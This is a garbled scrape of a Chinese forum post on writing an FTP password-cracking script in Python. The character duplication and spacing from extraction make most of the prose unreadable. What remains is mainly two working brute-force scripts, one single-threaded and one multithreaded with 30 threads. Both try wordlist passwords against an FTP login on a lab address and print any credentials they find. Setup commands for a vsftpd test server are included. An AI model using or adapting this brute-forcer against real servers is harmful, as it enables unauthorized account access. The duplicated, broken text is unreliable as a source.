[28310] 2020-05-21_使用Python开发破解FTP脚本

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2020-05-21_使用Python开发破解FTP脚本 使 P y t h o n F T P O t s   2 0 2 0 - 0 5 - 2 1 P y t h o n F T P 使 P y t h o n f t p l i b 使 c o l o r a m a P y t h o n L i n u x F T P v s f t p d F T P U n i x F T P 使 / e t c / v s f t p d . c o n f l o c a l _ e n a b l e   =   Y E S 1 9 2 . 1 6 8 . 1 . 1 1 3   t e s t F T P 2 1 , p i p 3   i n s t a l l   c o l o r a m a p i p 3   i n s t a l l   c o l o r a m a r o o t @ r o c k i k z r o o t @ r o c k i k z : : ~ ~ #   s u d o   a p t - g e t   u p d a t e #   s u d o   a p t - g e t   u p d a t e r o o t @ r o c k i k z r o o t @ r o c k i k z : : ~ ~ #   s u d o   a p t - g e t   i n s t a l l   v s f t p d #   s u d o   a p t - g e t   i n s t a l l   v s f t p d r o o t @ r o c k i k z r o o t @ r o c k i k z : : ~ ~ #   s u d o   s e r v i c e   v s f t p d   s t a r t #   s u d o   s e r v i c e   v s f t p d   s t a r t i m p o r t i m p o r t   f t p l i b   f t p l i b f r o m f r o m   c o l o r a m a     c o l o r a m a   i m p o r t i m p o r t   F o r e   F o r e , ,   i n i t     i n i t   #   f o r   f a n c y   c o l o r s ,   n o t h i n g   e l s e #   f o r   f a n c y   c o l o r s ,   n o t h i n g   e l s e #   i n i t   t h e   c o n s o l e   f o r   c o l o r s   ( W i n d o w s ) #   i n i t   t h e   c o n s o l e   f o r   c o l o r s   ( W i n d o w s ) #   i n i t ( ) #   i n i t ( ) #   h o s t n a m e   o r   I P   a d d r e s s   o f   t h e   F T P   s e r v e r #   h o s t n a m e   o r   I P   a d d r e s s   o f   t h e   F T P   s e r v e r h o s t   h o s t   = =     " 1 9 2 . 1 6 8 . 1 . 1 1 3 " " 1 9 2 . 1 6 8 . 1 . 1 1 3 " #   u s e r n a m e   o f   t h e   F T P   s e r v e r ,   r o o t   a s   d e f a u l t   f o r   l i n u x #   u s e r n a m e   o f   t h e   F T P   s e r v e r ,   r o o t   a s   d e f a u l t   f o r   l i n u x u s e r   u s e r   = =     " t e s t " " t e s t " #   p o r t   o f   F T P ,   a k a   2 1 #   p o r t   o f   F T P ,   a k a   2 1 p o r t   p o r t   = =     2 1 2 1
使 f t p l i b . F T P F T P F a l s e 使 使 使 5 0 0 0 n m a p 使 K a l i   l i n u x   /   u s r   /   s h a r e   /   w o r d l i s t s   /   n m a p . l s t w o r d l i s t . t x t 使 使 线 F T P 使 线 使 线 d e f d e f     i s _ c o r r e c t i s _ c o r r e c t ( ( p a s s w o r d p a s s w o r d ) ) : :                 #   i n i t i a l i z e   t h e   F T P   s e r v e r   o b j e c t #   i n i t i a l i z e   t h e   F T P   s e r v e r   o b j e c t         s e r v e r           s e r v e r   = =   f t p l i b   f t p l i b . . F T P F T P ( ( ) )                 p r i n t p r i n t ( ( f " [ ! ]   T r y i n g " f " [ ! ]   T r y i n g " , ,   p a s s w o r d   p a s s w o r d ) )                 t r y t r y : :                                 #   t r i e s   t o   c o n n e c t   t o   F T P   s e r v e r   w i t h   a   t i m e o u t   o f   5 #   t r i e s   t o   c o n n e c t   t o   F T P   s e r v e r   w i t h   a   t i m e o u t   o f   5                 s e r v e r                 s e r v e r . . c o n n e c t c o n n e c t ( ( h o s t h o s t , ,   p o r t   p o r t , ,   t i m e o u t   t i m e o u t = = 5 5 ) )                                 #   l o g i n   u s i n g   t h e   c r e d e n t i a l s   ( u s e r   &   p a s s w o r d ) #   l o g i n   u s i n g   t h e   c r e d e n t i a l s   ( u s e r   &   p a s s w o r d )                 s e r v e r                 s e r v e r . . l o g i n l o g i n ( ( u s e r u s e r , ,   p a s s w o r d   p a s s w o r d ) )                 e x c e p t e x c e p t   f t p l i b   f t p l i b . . e r r o r _ p e r m e r r o r _ p e r m : :                                 #   l o g i n   f a i l e d ,   w r o n g   c r e d e n t i a l s #   l o g i n   f a i l e d ,   w r o n g   c r e d e n t i a l s                                 r e t u r n r e t u r n     F a l s e F a l s e                 e l s e e l s e : :                                 #   c o r r e c t   c r e d e n t i a l s #   c o r r e c t   c r e d e n t i a l s                                 p r i n t p r i n t ( ( f " f " { { F o r e F o r e . . G R E E N G R E E N } } [ + ]   F o u n d   c r e d e n t i a l s : " [ + ]   F o u n d   c r e d e n t i a l s : " , ,   p a s s w o r d   p a s s w o r d , ,   F o r e   F o r e . . R E S E T R E S E T ) )                                 r e t u r n r e t u r n     T r u e T r u e #   r e a d   t h e   w o r d l i s t   o f   p a s s w o r d s #   r e a d   t h e   w o r d l i s t   o f   p a s s w o r d s p a s s w o r d s   p a s s w o r d s   = =     o p e n o p e n ( ( " w o r d l i s t . t x t " " w o r d l i s t . t x t " ) ) . . r e a d r e a d ( ( ) ) . . s p l i t s p l i t ( ( " n " " n " ) ) p r i n t p r i n t ( ( " [ + ]   P a s s w o r d s   t o   t r y : " " [ + ]   P a s s w o r d s   t o   t r y : " , ,     l e n l e n ( ( p a s s w o r d s p a s s w o r d s ) ) ) ) #   i t e r a t e   o v e r   p a s s w o r d s   o n e   b y   o n e #   i t e r a t e   o v e r   p a s s w o r d s   o n e   b y   o n e #   i f   t h e   p a s s w o r d   i s   f o u n d ,   b r e a k   o u t   o f   t h e   l o o p #   i f   t h e   p a s s w o r d   i s   f o u n d ,   b r e a k   o u t   o f   t h e   l o o p f o r f o r   p a s s w o r d     p a s s w o r d   i n i n   p a s s w o r d s   p a s s w o r d s : :                 i f i f   i s _ c o r r e c t   i s _ c o r r e c t ( ( p a s s w o r d p a s s w o r d ) ) : :                                 b r e a k b r e a k i m p o r t i m p o r t   f t p l i b   f t p l i b f r o m f r o m   t h r e a d i n g     t h r e a d i n g   i m p o r t i m p o r t   T h r e a d   T h r e a d i m p o r t i m p o r t   q u e u e   q u e u e f r o m f r o m   c o l o r a m a     c o l o r a m a   i m p o r t i m p o r t   F o r e   F o r e , ,   i n i t     i n i t   #   f o r   f a n c y   c o l o r s ,   n o t h i n g   e l s e #   f o r   f a n c y   c o l o r s ,   n o t h i n g   e l s e #   i n i t   t h e   c o n s o l e   f o r   c o l o r s   ( f o r   W i n d o w s ) #   i n i t   t h e   c o n s o l e   f o r   c o l o r s   ( f o r   W i n d o w s ) #   i n i t ( ) #   i n i t ( ) #   i n i t i a l i z e   t h e   q u e u e #   i n i t i a l i z e   t h e   q u e u e q   q   = =   q u e u e   q u e u e . . Q u e u e Q u e u e ( ( ) ) #   n u m b e r   o f   t h r e a d s   t o   s p a w n #   n u m b e r   o f   t h r e a d s   t o   s p a w n n _ t h r e a d s   n _ t h r e a d s   = =     3 0 3 0 #   h o s t n a m e   o r   I P   a d d r e s s   o f   t h e   F T P   s e r v e r #   h o s t n a m e   o r   I P   a d d r e s s   o f   t h e   F T P   s e r v e r h o s t   h o s t   = =     " 1 9 2 . 1 6 8 . 1 . 1 1 3 " " 1 9 2 . 1 6 8 . 1 . 1 1 3 " #   u s e r n a m e   o f   t h e   F T P   s e r v e r ,   r o o t   a s   d e f a u l t   f o r   l i n u x #   u s e r n a m e   o f   t h e   F T P   s e r v e r ,   r o o t   a s   d e f a u l t   f o r   l i n u x u s e r   u s e r   = =     " t e s t " " t e s t "
使 线 使 线 #   p o r t   o f   F T P ,   a k a   2 1 #   p o r t   o f   F T P ,   a k a   2 1 p o r t   p o r t   = =     2 1 2 1 d e f d e f     c o n n e c t _ f t p c o n n e c t _ f t p ( ( ) ) : :                 g l o b a l g l o b a l   q   q                 w h i l e w h i l e     T r u e T r u e : :                                 #   g e t   t h e   p a s s w o r d   f r o m   t h e   q u e u e #   g e t   t h e   p a s s w o r d   f r o m   t h e   q u e u e                 p a s s w o r d                   p a s s w o r d   = =   q   q . . g e t g e t ( ( ) )                                 #   i n i t i a l i z e   t h e   F T P   s e r v e r   o b j e c t #   i n i t i a l i z e   t h e   F T P   s e r v e r   o b j e c t                 s e r v e r                   s e r v e r   = =   f t p l i b   f t p l i b . . F T P F T P ( ( ) )                                 p r i n t p r i n t ( ( " [ ! ]   T r y i n g " " [ ! ]   T r y i n g " , ,   p a s s w o r d   p a s s w o r d ) )                                 t r y t r y : :                                                 #   t r i e s   t o   c o n n e c t   t o   F T P   s e r v e r   w i t h   a   t i m e o u t   o f   5 #   t r i e s   t o   c o n n e c t   t o   F T P   s e r v e r   w i t h   a   t i m e o u t   o f   5                         s e r v e r                         s e r v e r . . c o n n e c t c o n n e c t ( ( h o s t h o s t , ,   p o r t   p o r t , ,   t i m e o u t   t i m e o u t = = 5 5 ) )                                                 #   l o g i n   u s i n g   t h e   c r e d e n t i a l s   ( u s e r   &   p a s s w o r d ) #   l o g i n   u s i n g   t h e   c r e d e n t i a l s   ( u s e r   &   p a s s w o r d )                         s e r v e r                         s e r v e r . . l o g i n l o g i n ( ( u s e r u s e r , ,   p a s s w o r d   p a s s w o r d ) )                                 e x c e p t e x c e p t   f t p l i b   f t p l i b . . e r r o r _ p e r m e r r o r _ p e r m : :                                                 #   l o g i n   f a i l e d ,   w r o n g   c r e d e n t i a l s #   l o g i n   f a i l e d ,   w r o n g   c r e d e n t i a l s                                                 p a s s p a s s                                 e l s e e l s e : :                                                 #   c o r r e c t   c r e d e n t i a l s #   c o r r e c t   c r e d e n t i a l s                                                 p r i n t p r i n t ( ( f " f " { { F o r e F o r e . . G R E E N G R E E N } } [ + ]   F o u n d   c r e d e n t i a l s :   " [ + ]   F o u n d   c r e d e n t i a l s :   " ) )                                                 p r i n t p r i n t ( ( f " t H o s t :   f " t H o s t :   { { h o s t h o s t } } " " ) )                                                 p r i n t p r i n t ( ( f " t U s e r :   f " t U s e r :   { { u s e r u s e r } } " " ) )                                                 p r i n t p r i n t ( ( f " t P a s s w o r d :   f " t P a s s w o r d :   { { p a s s w o r d p a s s w o r d } } { { F o r e F o r e . . R E S E T R E S E T } } " " ) )                                                 #   w e   f o u n d   t h e   p a s s w o r d ,   l e t ' s   c l e a r   t h e   q u e u e #   w e   f o u n d   t h e   p a s s w o r d ,   l e t ' s   c l e a r   t h e   q u e u e                                                 w i t h w i t h   q   q . . m u t e x m u t e x : :                                 q                                 q . . q u e u e q u e u e . . c l e a r c l e a r ( ( ) )                                 q                                 q . . a l l _ t a s k s _ d o n e a l l _ t a s k s _ d o n e . . n o t i f y _ a l l n o t i f y _ a l l ( ( ) )                                 q                                 q . . u n f i n i s h e d _ t a s k s   u n f i n i s h e d _ t a s k s   = =     0 0                                 f i n a l l y f i n a l l y : :                                                 #   n o t i f y   t h e   q u e u e   t h a t   t h e   t a s k   i s   c o m p l e t e d   f o r   t h i s   p a s s w o r d #   n o t i f y   t h e   q u e u e   t h a t   t h e   t a s k   i s   c o m p l e t e d   f o r   t h i s   p a s s w o r d                         q                         q . . t a s k _ d o n e t a s k _ d o n e ( ( ) ) #   r e a d   t h e   w o r d l i s t   o f   p a s s w o r d s #   r e a d   t h e   w o r d l i s t   o f   p a s s w o r d s p a s s w o r d s   p a s s w o r d s   = =     o p e n o p e n ( ( " w o r d l i s t . t x t " " w o r d l i s t . t x t " ) ) . . r e a d r e a d ( ( ) ) . . s p l i t s p l i t ( ( " n " " n " ) ) p r i n t p r i n t ( ( " [ + ]   P a s s w o r d s   t o   t r y : " " [ + ]   P a s s w o r d s   t o   t r y : " , ,     l e n l e n ( ( p a s s w o r d s p a s s w o r d s ) ) ) ) #   p u t   a l l   p a s s w o r d s   t o   t h e   q u e u e #   p u t   a l l   p a s s w o r d s   t o   t h e   q u e u e f o r f o r   p a s s w o r d     p a s s w o r d   i n i n   p a s s w o r d s   p a s s w o r d s : :         q         q . . p u t p u t ( ( p a s s w o r d p a s s w o r d ) ) #   c r e a t e   ` n _ t h r e a d s `   t h a t   r u n s   t h a t   f u n c t i o n #   c r e a t e   ` n _ t h r e a d s `   t h a t   r u n s   t h a t   f u n c t i o n f o r f o r   t     t   i n i n     r a n g e r a n g e ( ( n _ t h r e a d s n _ t h r e a d s ) ) : :         t h r e a d           t h r e a d   = =   T h r e a d   T h r e a d ( ( t a r g e t t a r g e t = = c o n n e c t _ f t p c o n n e c t _ f t p ) )                 #   w i l l   e n d   w h e n   t h e   m a i n   t h r e a d   e n d #   w i l l   e n d   w h e n   t h e   m a i n   t h r e a d   e n d         t h r e a d         t h r e a d . . d a e m o n   d a e m o n   = =     T r u e T r u e         t h r e a d         t h r e a d . . s t a r t s t a r t ( ( ) ) #   w a i t   f o r   t h e   q u e u e   t o   b e   e m p t y #   w a i t   f o r   t h e   q u e u e   t o   b e   e m p t y q q . . j o i n j o i n ( ( ) )
n _ t h r e a d s   -   P y t h o n X S S 使 P y t h o n S S H 使 P y t h o n P D F
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则